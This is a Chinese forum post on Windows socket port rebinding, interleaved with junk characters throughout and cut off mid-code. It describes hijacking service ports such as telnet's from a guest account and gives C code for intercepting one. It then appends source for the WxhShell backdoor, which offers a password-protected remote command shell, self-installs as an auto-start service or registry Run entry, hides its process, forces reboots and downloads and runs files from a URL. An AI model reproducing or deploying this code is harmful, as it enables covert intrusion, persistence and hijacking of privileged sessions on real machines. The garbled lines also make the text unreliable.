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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  L8`v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QEr<(wM-y  
.!o]oM U/  
  saddr.sin_family = AF_INET; N68mvBe  
ng%[yY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hZJ~zx~  
ray3gM%JLj  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G[k3`  
yNI0Do 2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,6>3aD1w~q  
P(shbi@  
  这意味着什么?意味着可以进行如下的攻击: VVeJe"!t  
z.8/[)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TE Z%|5(]  
s 47R,K$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FOk&z!xYKd  
Z}S[fN8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #^T`vTD-  
3F;C{P!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G&*P*f1 S  
7"(Zpu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `>sOOA  
D{+@ ,C7B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u$d[&|`>_  
<\#'o}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UePkSz9EU  
'-v:"%s|  
  #include G0 )[(s  
  #include V ?Jy  
  #include E f\|3D_  
  #include    ^2k jO/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ce;7  
  int main() HP8J\`  
  { R%jOgZG  
  WORD wVersionRequested; [D~]  
  DWORD ret; j}uL  
  WSADATA wsaData; I-R7+o  
  BOOL val; NW[K/`-CTH  
  SOCKADDR_IN saddr; 0"R>:f}  
  SOCKADDR_IN scaddr; jYVs\h6  
  int err; uMQI Aapb  
  SOCKET s; {xZY4b2  
  SOCKET sc; B/ 4M;G~  
  int caddsize; 0b{jox\!B  
  HANDLE mt; `]5qIKopL  
  DWORD tid;   $)#orZtzr  
  wVersionRequested = MAKEWORD( 2, 2 ); "KIY+7@S}  
  err = WSAStartup( wVersionRequested, &wsaData ); hju^x8 ,=m  
  if ( err != 0 ) { vFk@  
  printf("error!WSAStartup failed!\n"); lAN&d;NU6Z  
  return -1; > Z+*tq  
  } 9Vt ^q%DC  
  saddr.sin_family = AF_INET; 3'uXU<W!  
   $\u\ 4 n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pq) =  
.) Ej#mk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =2 HY]H  
  saddr.sin_port = htons(23); ,?8a3%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TQ(q [:>  
  { IH`Q=Pj  
  printf("error!socket failed!\n"); FDl/7P`b(  
  return -1; jF?0,g  
  } \ *t\=4  
  val = TRUE; tNY;wl:wp  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XY'=_5t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1?.CXq K  
  { O<$w-(  
  printf("error!setsockopt failed!\n"); .+9*5  
  return -1; .:?v;rYk{  
  } ZN}`A7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l!,tssQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZD&F ,2v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2'fd4 rE5  
O!"K'Bm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ql@2<V{  
  { d#T5=5 #  
  ret=GetLastError(); eX$KH;M  
  printf("error!bind failed!\n"); toY_1  
  return -1; V48_aL  
  } ? $/::uo  
  listen(s,2); qArR5OJ  
  while(1) g kmof^  
  { UCVYO. 9"  
  caddsize = sizeof(scaddr); )xcjQkb  
  //接受连接请求 lR %#R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &4OJJ9S  
  if(sc!=INVALID_SOCKET) =aVvv+T  
  { 7]rIq\bM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *P' X[z  
  if(mt==NULL) p7YYAh@x\  
  { Osqk#Oh  
  printf("Thread Creat Failed!\n"); lj]M 1zEz&  
  break; "e-Y?_S7R8  
  } .JKH=?~\  
  } fn<dr(Dx  
  CloseHandle(mt); JzEg`Sn^  
  } 4pL'c@'  
  closesocket(s); :P-H8*n""  
  WSACleanup(); }[eUAGhDU  
  return 0; 3V]dl)en%  
  }   PY.HZ/#d  
  DWORD WINAPI ClientThread(LPVOID lpParam) uf?;;wg  
  { G `|7NL   
  SOCKET ss = (SOCKET)lpParam; __}SHU0R  
  SOCKET sc; $ #!oejLD  
  unsigned char buf[4096]; gOg7:VPG  
  SOCKADDR_IN saddr; {gzQ/|}#z-  
  long num; CG%bZco((  
  DWORD val; ,[ 2N3iH  
  DWORD ret; 7FH-l(W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =Z.0-C>W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?eTZ>o.p/  
  saddr.sin_family = AF_INET; }C @xl9S"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [7><^?t V  
  saddr.sin_port = htons(23); diXWm-ZKL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #f(a,,Uu'  
  { .M:&Aj)x16  
  printf("error!socket failed!\n");  (7X  
  return -1; Qy9_tvq X  
  } :0@0muo  
  val = 100; |r+ x/,2-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4]1/{</B|  
  { 6?,qysm06  
  ret = GetLastError(); ~;oXLCL0})  
  return -1; SXsszb:_  
  } _!2lnJ4+5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |4DN2P  
  { pS8\B  
  ret = GetLastError(); f8-`bb  
  return -1; x6K_!L*Fx]  
  } Ho(M O!(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \L>XF'o  
  { EF&CV{Sw  
  printf("error!socket connect failed!\n"); E0qJ.v  
  closesocket(sc); 3sV$#l P  
  closesocket(ss); i?B<&'G  
  return -1; T ?Om]:j  
  } 7s%D(;W_Mo  
  while(1) uyEk1)HC  
  { QV."ZhL5=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7y^)n<'co  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 npeL1zO-$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O$z"`'&j#  
  num = recv(ss,buf,4096,0); -)%\$z  
  if(num>0) $/^Y(0  
  send(sc,buf,num,0); 3q4VH q  
  else if(num==0) ;r2DQg"#@  
  break; f IV"U  
  num = recv(sc,buf,4096,0); C1A  X  
  if(num>0) M"]?'TMfXc  
  send(ss,buf,num,0); <]?71{7X  
  else if(num==0) g Nz  
  break; Ip{hg,>  
  } # N3*SE  
  closesocket(ss); hg12NzbK  
  closesocket(sc); pej-W/R&  
  return 0 ; (f"Qz~R|6_  
  } P [aE3Felk  
'[6]W)f  
h<3bv&oI .  
========================================================== Rm3W&hQ  
zecM|S_  
下边附上一个代码,,WXhSHELL 7r,GdP.  
V@+sNM  
========================================================== jA8Bmwt;w  
MZV bOcSAd  
#include "stdafx.h" bBINjs8C_  
}vZfp5Y  
#include <stdio.h> Kez0Bka  
#include <string.h> fV9+FOZn  
#include <windows.h> 2KXF XR  
#include <winsock2.h> &2:WezDF  
#include <winsvc.h> !rgXB(  
#include <urlmon.h> gD%o0 jt"  
.z CkB86  
#pragma comment (lib, "Ws2_32.lib") ^Zs ^  
#pragma comment (lib, "urlmon.lib") =l2 @'YQ  
W\Il@Je;  
#define MAX_USER   100 // 最大客户端连接数 HziQ%QR  
#define BUF_SOCK   200 // sock buffer B_#M)d O  
#define KEY_BUFF   255 // 输入 buffer `!N.1RP _  
Wv5=$y  
#define REBOOT     0   // 重启 >mQD/U  
#define SHUTDOWN   1   // 关机 Up-^km  
?/}IDwuh  
#define DEF_PORT   5000 // 监听端口 /p;OZf]  
GQ Flt_  
#define REG_LEN     16   // 注册表键长度 rSDI.m   
#define SVC_LEN     80   // NT服务名长度 'n{=`e(}cI  
(xfy?N  
// 从dll定义API 3I'7+?@@l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :V"e+I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W SvhC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LB7$&.m'B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &%3}'&EBv  
T#E,^|WEk  
// wxhshell配置信息 DM6(8df(  
struct WSCFG { u<"-S63+  
  int ws_port;         // 监听端口 vzAY+EEx  
  char ws_passstr[REG_LEN]; // 口令 rU>l(O'b  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ y'g11 \  
  char ws_regname[REG_LEN]; // 注册表键名 E0i!|H  
  char ws_svcname[REG_LEN]; // 服务名 5:+x7Ed  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g:^Hex?Yfd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &iuMB0rbu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Yk{4 3yw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xE_~.EoB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" </9c=GoJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BDL[C<d(  
(eT9N_W  
}; c -~i=C]  
&6GW9pl[  
// default Wxhshell configuration 9u^za!pE  
struct WSCFG wscfg={DEF_PORT, U2Siw   
    "xuhuanlingzhe", M;g"rpM  
    1, ) fuAdG  
    "Wxhshell", }uD*\.  
    "Wxhshell", ZDK+>^A)  
            "WxhShell Service", FKtCUq,:  
    "Wrsky Windows CmdShell Service", s z7<u|  
    "Please Input Your Password: ", G #$r)S  
  1, !y1qd  
  "http://www.wrsky.com/wxhshell.exe", TD;u"  
  "Wxhshell.exe" OS~Z@'Eg  
    }; Fyz1LOH[X  
FLumI-se!  
// 消息定义模块 m 2%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 41C6ey  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gf;B&MM6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fob.?ID-;  
char *msg_ws_ext="\n\rExit."; N mNj0&  
char *msg_ws_end="\n\rQuit."; fn//j7 j  
char *msg_ws_boot="\n\rReboot..."; F{&0(6^p!  
char *msg_ws_poff="\n\rShutdown..."; Y>i Qp/k:  
char *msg_ws_down="\n\rSave to "; %B>>J%  
z4[ 8*}  
char *msg_ws_err="\n\rErr!"; -<\hcV`&  
char *msg_ws_ok="\n\rOK!"; K?S5C8  
Wsw/ D  
char ExeFile[MAX_PATH]; UWgPQ%}  
int nUser = 0; d ~CZ9h  
HANDLE handles[MAX_USER]; :Mu]* N  
int OsIsNt; ['c*<f" D2  
> {h/4T@  
SERVICE_STATUS       serviceStatus; > 8!9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a [BIY&/Q  
V?C a[  
// 函数声明 %vWh1-   
int Install(void); >s%m\"|oh  
int Uninstall(void); }@A{'q5y  
int DownloadFile(char *sURL, SOCKET wsh); >@|XY<  
int Boot(int flag); sc# q03  
void HideProc(void); |/RZGC4  
int GetOsVer(void); /pgn?e'lk  
int Wxhshell(SOCKET wsl); yMe;  
void TalkWithClient(void *cs); ?h-:,icR  
int CmdShell(SOCKET sock); $2v{4WP7G  
int StartFromService(void); ftqeiZ 2  
int StartWxhshell(LPSTR lpCmdLine); fXx !_Z  
qAVZ&:#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z&Z= 24q_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -H](2}  
FHyyZ{"  
// 数据结构和表定义 wn>?r ?KIB  
SERVICE_TABLE_ENTRY DispatchTable[] = lDtl6r/  
{ )WF*fcx{  
{wscfg.ws_svcname, NTServiceMain}, KZsJ_t++!W  
{NULL, NULL} K1|xatx1V  
}; ;LFs.Jc<  
yex0rnQ|  
// 自我安装 BWG#W C  
int Install(void) AI*1kxR  
{ p M_oIH'8:  
  char svExeFile[MAX_PATH]; II}3w#r4  
  HKEY key; ujoJ6UOG  
  strcpy(svExeFile,ExeFile); F@@6D0\X?  
@O&;%IZMY  
// 如果是win9x系统,修改注册表设为自启动 2u^/yl  
if(!OsIsNt) { ;fKFmY41  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /: }"Zb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~`CWpc:  
  RegCloseKey(key); 4wx _@8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k9o LJ<.k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e_t""h4D  
  RegCloseKey(key); af;~<o a  
  return 0; ]@mV9:n{  
    } `RL n)a  
  } k|F TT  
} ]^DNzqu=@h  
else { ~&T%u.u 7  
lX|d:HFtP  
// 如果是NT以上系统,安装为系统服务 >_LZD4v! <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z'4oE )  
if (schSCManager!=0) iz\GahK  
{ \6c8Lqa  
  SC_HANDLE schService = CreateService t8upS u|  
  ( -|3feYb'  
  schSCManager, }E](NvCq  
  wscfg.ws_svcname, $]S*(K3U ~  
  wscfg.ws_svcdisp, .0u@PcE:O  
  SERVICE_ALL_ACCESS, C:@JLZB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )_Wo6l)i  
  SERVICE_AUTO_START, uO}UvMW  
  SERVICE_ERROR_NORMAL, J^<}fRw  
  svExeFile, {Z{!tR?+  
  NULL, ~jn~M_}K  
  NULL, u|D|pRM-LT  
  NULL, ;*409 P  
  NULL, $Z{Xt*  
  NULL 9w( Wtw'  
  ); 3YOYlb %j  
  if (schService!=0) s^ R i g[  
  { L<M H:  
  CloseServiceHandle(schService); A&/ YnJ"  
  CloseServiceHandle(schSCManager); u:s[6T0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ubQZTAx  
  strcat(svExeFile,wscfg.ws_svcname); jxNnrIA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Avn)%9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MWron_xg  
  RegCloseKey(key); z~O:w'(g  
  return 0; x72T5.  
    } $@Kwsoh'  
  } W]= $0'  
  CloseServiceHandle(schSCManager); Sk|DVV $  
} wDz}32wB  
} UbSAyf  
ftwn<B  
return 1; cfA)Ui  
} 0L|D1_k[  
E\dJb}"x %  
// 自我卸载 /#xx,?~xx0  
int Uninstall(void) G[M{TS3&Ds  
{ 2 rx``,7Q  
  HKEY key; [|"{a  
`c%{M4bF\  
if(!OsIsNt) { x|`o7.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )$7-CNWr~  
  RegDeleteValue(key,wscfg.ws_regname); Emx`+9  
  RegCloseKey(key); Fl0 :Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+U,?2nF:  
  RegDeleteValue(key,wscfg.ws_regname); >,)tRQS  
  RegCloseKey(key); ;ro%Wjg`}  
  return 0; :FqHMN  
  } U>=& 2Z2?  
} lD\vq2  
} ud,=O X q  
else { "-a CF  
C)xM>M_CB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ( !=^(Nd  
if (schSCManager!=0) z}&JapJ  
{ MclW!CmJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $PE{}`#g  
  if (schService!=0) C3>`e3v  
  { =#|K-X0d=  
  if(DeleteService(schService)!=0) { ~s4o1^6L  
  CloseServiceHandle(schService); _@:O&G2nB  
  CloseServiceHandle(schSCManager); T.x"a$AU  
  return 0; %1^E;n  
  } 0\2#(^  
  CloseServiceHandle(schService); T5b*Ia  
  } /Dk`vn2eN  
  CloseServiceHandle(schSCManager); >0Gdxj]\  
} =!{ E!3>*D  
} Qq*Ks 5   
C.Ty\@U  
return 1; r ; pS_PV  
} [OK(  
J.^%VnrFO9  
// 从指定url下载文件 VYC$Q;Z  
int DownloadFile(char *sURL, SOCKET wsh) @^UnrKSd  
{ l11+sqg  
  HRESULT hr; $>=?'wr  
char seps[]= "/"; k1HVvMD<  
char *token; 1K&l}/zUl  
char *file; |\k,qVQ  
char myURL[MAX_PATH]; S"skKh4w  
char myFILE[MAX_PATH]; w9Z,3J6r  
5w#7B  
strcpy(myURL,sURL); N~t4qlC/  
  token=strtok(myURL,seps); w_h}c$;GK  
  while(token!=NULL) CPt62j8  
  { 1b4/  
    file=token; $zv&MD!&h  
  token=strtok(NULL,seps); nTQ&nu!  
  } 0AWOdd>.  
rIJv(&l  
GetCurrentDirectory(MAX_PATH,myFILE); wi$,Y. :  
strcat(myFILE, "\\"); ^DH*\ee  
strcat(myFILE, file); t+<?$I[  
  send(wsh,myFILE,strlen(myFILE),0); fNnX{Wq  
send(wsh,"...",3,0); @=G6fW:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GZCXm+  
  if(hr==S_OK) 0V[`zOO(o  
return 0; #$;i 4a  
else Y `ySNC  
return 1; E@%9u#  
Tw+V$:$$  
} nXFPoR)T  
R7Z7o4jg  
// 系统电源模块 "B3&v%b  
int Boot(int flag) \~~y1.,U.  
{ sm9/sX!  
  HANDLE hToken; +fRABY5C  
  TOKEN_PRIVILEGES tkp; Wi%e9r{hU  
rS&"UH?c7  
  if(OsIsNt) { `m7w%J.>n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~H~iKl}|7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Iq["(!7E5  
    tkp.PrivilegeCount = 1; SL ) ope  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i4s_:%+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H2 Gj(Nc-  
if(flag==REBOOT) { |Ta-D++]'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2?)8s"Y  
  return 0; )Lb?ZXT3  
} 2vh@KnNU  
else { "f|xIK`c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wpI_yp  
  return 0; vtu!* 7m  
} Y6w7sr_R  
  } Wv7hY"  
  else { iPeW;=-2Wk  
if(flag==REBOOT) { 7*I:cga  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )p!.V( ,  
  return 0; =Owr l'@|T  
} v-ZTl4j$  
else { 3GVS-?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yhG%@vSq  
  return 0; odsLFU(  
} ,6AnuA  
} %`)lCK)2  
Yx3ivjX.>  
return 1; -~=?g9fGm6  
} (T 8In  
_-c1" Kl  
// win9x进程隐藏模块 6haw\ *  
void HideProc(void) |D1:~z  
{ a4E{7c  
iRK&-wn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YHQvx_0yP  
  if ( hKernel != NULL ) tRu j}n+x  
  { Uy98lv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @t{`KB+ ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mIh >8))E  
    FreeLibrary(hKernel);  hSgH;k  
  } e]DuV)k&  
Bj*\)lG<  
return; qac8zt#2 C  
} H9%[! RF  
cf+EQY  
// 获取操作系统版本 P1qQ)-J  
int GetOsVer(void) aGbHDo  
{ J|=0 :G  
  OSVERSIONINFO winfo; 5`\"UC7?%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /hp [ +K  
  GetVersionEx(&winfo); %Kzu&*9Hb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zgw4[GpL  
  return 1; LTWiCI  
  else ^Gwpx +  
  return 0; &qyXi[vw  
} 5hj _YqQ7  
;FnU[Q`M#L  
// 客户端句柄模块 CEh!X=Nn  
int Wxhshell(SOCKET wsl) aE 2=  
{ /CXQ&nwY9=  
  SOCKET wsh; 31 &;3?3>  
  struct sockaddr_in client; 7Q0vwKC8>  
  DWORD myID; )K!!Zq3;|  
iiLDl  
  while(nUser<MAX_USER) {M ^5w  
{ Bg.  
  int nSize=sizeof(client); Oj8xc!d'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \5P 5N]]  
  if(wsh==INVALID_SOCKET) return 1; x T1MW  
X 4CiVV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j.kv!;Rj=  
if(handles[nUser]==0) ^y.|KA3[  
  closesocket(wsh); !S#K6:  
else L};P*{q2Z  
  nUser++; k@P?,r  
  } L Z}m;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p\22_m_wd  
5$&',v(  
  return 0; hV}C.- 6h  
} zK>}x=  
 {HbSty  
// 关闭 socket ^;'FC vd  
void CloseIt(SOCKET wsh) Xmw%f[Xl  
{ Jp"[` m  
closesocket(wsh); aNUM F  
nUser--; p}p}!M|  
ExitThread(0); }6"l`$=Ev  
} 3FG'A[x3O  
hdDL92JVg  
// 客户端请求句柄 )(+q~KA}  
void TalkWithClient(void *cs) y*e({fio_  
{ sL], @z8<k  
{RN-rF3w  
  SOCKET wsh=(SOCKET)cs; sB0m^Y'  
  char pwd[SVC_LEN]; :"'*1S*  
  char cmd[KEY_BUFF]; O`Y@U?^N  
char chr[1]; s0m k<>z  
int i,j; /HVxZ2bar  
*FFD G_YG?  
  while (nUser < MAX_USER) { 0@wXE\s  
#_Z)2ESX  
if(wscfg.ws_passstr) { 8Om4G]*|,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0-:dzf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %^l&:\ hy  
  //ZeroMemory(pwd,KEY_BUFF); R>hL.+l.  
      i=0; k>F>y|m  
  while(i<SVC_LEN) { \3T[Cy|5|  
/^$n&gI  
  // 设置超时 PQ2rNY6  
  fd_set FdRead; v;#0h7qd  
  struct timeval TimeOut; bFVY&  
  FD_ZERO(&FdRead); qRL45[ K  
  FD_SET(wsh,&FdRead); MIY`"h0*  
  TimeOut.tv_sec=8; -oi@1g @  
  TimeOut.tv_usec=0; ,z~"Mst  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NAX`y2z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !NMiWG4R  
D< 0))r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VV"w{#XKw  
  pwd=chr[0]; 1L%$\0B4hm  
  if(chr[0]==0xd || chr[0]==0xa) { :cKdl[E4z  
  pwd=0; LKgo(&mY  
  break; <6&Z5mpm$w  
  } q;.LK8M  
  i++; 45H9pY w  
    } JC# 5CCz  
=w7+Yt  
  // 如果是非法用户,关闭 socket  \|C*b<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T0N6k acl  
} wW7#M  
e4FR)d0x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aH\A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ko"xR%Q  
(5 e4>p&+  
while(1) { gOr%N!5  
M7{_"9X{  
  ZeroMemory(cmd,KEY_BUFF); 8On MtP  
?8FJMFv;4%  
      // 自动支持客户端 telnet标准   fo~>y  
  j=0; ~Rw][Ys  
  while(j<KEY_BUFF) { k\Y*tY#2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "sT)<Wc  
  cmd[j]=chr[0];  v> s,*  
  if(chr[0]==0xa || chr[0]==0xd) { 4'"WD0  
  cmd[j]=0; |>b;M ,`OO  
  break; Cx&l0ZXHEX  
  } wQ8<%qi"L  
  j++; [-Xah]g  
    } e?pQuF~  
X|C=Q   
  // 下载文件 +v/-qyA  
  if(strstr(cmd,"http://")) { ^O!;KIe{g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TLq^5,qG  
  if(DownloadFile(cmd,wsh)) 6?a z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr(eH2}0D  
  else eQ*zi9na  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gHFQs](G.  
  } K^P&3H*(/n  
  else { lUdk^7:M  
tT+W>oA/M  
    switch(cmd[0]) { ^%0^DN  
  VO~%O.>  
  // 帮助 *y', eB  
  case '?': { $,0EV9+af  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $xis4/2  
    break; E=91k.  
  } \Nk578+AA  
  // 安装 jhJ<JDJ?`  
  case 'i': { '(-H#D.oy'  
    if(Install()) ez~u A4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 53>(2 _/[r  
    else s1tkiX{>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1jE {]/Y7&  
    break; y;_F[m  
    } 5s@xpWVot  
  // 卸载 WWC&-Ni  
  case 'r': { !w%p Gv.wg  
    if(Uninstall()) *S?'[PS]1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u8gqWsvruM  
    else O:ACp<@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "{kE#`c6<n  
    break; "{Hl! Zq/  
    } pu_?) U  
  // 显示 wxhshell 所在路径 KGc!#C  
  case 'p': { cj[x%eK>  
    char svExeFile[MAX_PATH]; NKTy!zWh  
    strcpy(svExeFile,"\n\r"); w`v` aw]  
      strcat(svExeFile,ExeFile); lbPn<  
        send(wsh,svExeFile,strlen(svExeFile),0); "&o"6ra }  
    break; |T]&8Q)S  
    } y`z4S,  
  // 重启 ,L4zhhl!_  
  case 'b': { Yhjv[9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (?ULp{VPFl  
    if(Boot(REBOOT)) ^]Q.V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %<8r`BMo  
    else { ev4_}!  
    closesocket(wsh); *9|p}q9n  
    ExitThread(0); 2:<H)oB  
    } JeF$ W!!{  
    break; h!Y##_&&4  
    } K_k'#j~*?  
  // 关机 9|Ylv:sR  
  case 'd': { |nm}E_  
